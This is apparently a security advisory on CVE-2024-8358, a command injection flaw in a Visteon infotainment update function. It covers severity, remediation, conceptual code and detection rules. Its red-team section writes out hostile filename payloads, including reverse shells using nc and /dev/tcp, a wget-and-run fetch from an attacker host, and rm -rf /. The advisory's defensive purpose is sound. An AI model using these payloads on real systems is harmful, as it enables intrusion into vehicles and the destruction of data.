CVE-2024-8358

Executive Summary

CVE-2024-8358 is a critical command injection vulnerability in Visteon Infotainment systems, specifically within the UPDATES_ExtractFile function. This vulnerability allows a physically present attacker to execute arbitrary code on the device by crafting a malicious software update file. The flaw stems from improper sanitization of user-supplied strings used in system calls during the extraction process. With a CVSS score of 6.8 (Medium), the vulnerability requires physical access but no authentication, making it a significant threat in automotive environments. As of this report, no official patch is available, and no public exploit code or proof-of-concept has been released.

CVSS Breakdown & Threat Level

• CVSS Score: 6.8 (Medium)
• Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Physical (P) – The attacker must have physical access to the infotainment system.
• Attack Complexity (AC): Low (L) – No special conditions or complex steps are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The vulnerability affects only the infotainment system.
• Confidentiality (C): High (H) – Full read access to device data.
• Integrity (I): High (H) – Full write access to device data.
• Availability (A): High (H) – Full control over device operations.

Threat Level: Medium. While the impact is high, the requirement for physical access reduces the overall risk in many scenarios. However, in automotive contexts (e.g., rental cars, valet parking, or shared vehicles), this poses a serious threat.

Deep Dive & Mechanics

The vulnerability resides in the UPDATES_ExtractFile function of Visteon Infotainment systems. This function is responsible for extracting software update files (likely ZIP or similar archives) during the update process. The flaw is a classic command injection: the function constructs a system call (e.g., using system(), exec(), or similar) by concatenating a user-supplied string from the update file (such as a filename or metadata) without proper sanitization.

Attack Flow:

1. The attacker prepares a malicious software update file (e.g., malicious_update.zip).
2. Inside the archive, a file is named with a payload, such as ; rm -rf / ; or $(malicious_command).
3. When the infotainment system processes the update, the UPDATES_ExtractFile function extracts the filename and passes it to a system call.
4. The injected command is executed with the privileges of the update process (typically root or system-level), allowing arbitrary code execution.

Root Cause: Lack of input validation and sanitization of strings used in system calls. The function should use parameterized APIs or escape shell metacharacters.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (Conceptual):

void UPDATES_ExtractFile(char *filename) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "unzip -o update.zip %s", filename);
    system(cmd);
}

Patched Code (Conceptual):

void UPDATES_ExtractFile(char *filename) {
    // Sanitize input: remove shell metacharacters
    char *sanitized = sanitize_string(filename);
    if (sanitized == NULL) {
        log_error("Invalid filename");
        return;
    }
    // Use execve with arguments to avoid shell injection
    char *args[] = {"unzip", "-o", "update.zip", sanitized, NULL};
    execve("/usr/bin/unzip", args, NULL);
}

Key Differences:

• The patched version uses execve instead of system, which does not invoke a shell.
• Input is sanitized to remove dangerous characters like ;, |, $, `, etc.
• Error handling is added to reject malicious filenames.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Physical access to a Visteon Infotainment system (e.g., via USB port or SD card slot).
• Ability to mount or write a software update file to the system.

Exploitation Steps:

1. Create a malicious update archive (e.g., update.zip).
2. Inside the archive, include a file with a name containing a command injection payload. For example:
   • Filename: ; nc -e /bin/sh attacker_ip 4444 ;
   • Or: $(wget http://attacker_ip/payload.sh -O /tmp/payload.sh && sh /tmp/payload.sh)
3. Insert the USB/SD card containing the archive into the infotainment system.
4. Initiate the software update process (usually through the system menu).
5. The UPDATES_ExtractFile function will execute the injected command, giving the attacker a reverse shell or arbitrary code execution.

Example Payload (Reverse Shell):

# Filename in archive: ; bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 ;

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Defense)

Detection & Prevention:

• Network Monitoring: Monitor for unusual outbound connections from infotainment systems (e.g., reverse shells).
• File Integrity Monitoring: Alert on unexpected changes to system binaries or configuration files.
• Input Validation: Implement strict validation of all filenames in update archives. Reject any containing shell metacharacters.
• Least Privilege: Run the update process with minimal privileges (e.g., not as root).
• Sandboxing: Execute the extraction process in a sandboxed environment (e.g., using containers or seccomp).

Hunting Queries:

• Search for processes spawned by the update service that execute shell commands.
• Look for files with suspicious names in update archives (e.g., containing ;, |, $).

Indicators of Compromise (IOCs)

• File Hashes (Malicious Update Archive): Unknown (no public samples).
• Network Indicators:
  • Outbound connections to unknown IPs on high ports (e.g., 4444, 1337).
  • DNS queries to suspicious domains.
• System Indicators:
  • Unexpected processes running as root (e.g., /bin/sh, nc, bash).
  • Modified system files (e.g., /bin/ls replaced with a backdoor).
  • New cron jobs or startup scripts.
• Log Indicators:
  • Log entries showing execution of shell commands from the update process.
  • Error logs with unusual filenames.

Detection Engineering

YARA Rule

rule CVE_2024_8358_Visteon_Command_Injection {
    meta:
        description = "Detects malicious update archives targeting CVE-2024-8358"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8358"
    strings:
        $shell_meta = /[;|$`(){}<>]/
        $zip_header = { 50 4B 03 04 }  // ZIP local file header
    condition:
        $zip_header at 0 and #shell_meta > 0
}

Sigma Rule

title: CVE-2024-8358 Visteon Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts via malicious filenames in Visteon update archives
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/unzip'
        CommandLine|contains:
            - ';'
            - '|'
            - '$('
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of special characters in filenames (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-8358 Visteon Command Injection - Reverse Shell"; flow:to_server,established; content:"|2f 62 69 6e 2f 73 68|"; nocase; content:"|2f 64 65 76 2f 74 63 70|"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Automatic Updates: If possible, disable the software update feature until a patch is available.
2. Physical Security: Restrict physical access to infotainment systems (e.g., lock USB ports, use tamper-evident seals).
3. Input Validation: Implement server-side validation of update files before processing (e.g., scan filenames for shell metacharacters).

Long-Term Fix:

• Vendor must patch the UPDATES_ExtractFile function to use safe APIs (e.g., execve with arguments) and sanitize all user-supplied input.
• Apply the principle of least privilege to the update process.

Workarounds:

• Use a custom update script that validates filenames before passing them to extraction tools.
• Monitor for suspicious activity using the provided detection rules.

Valters IT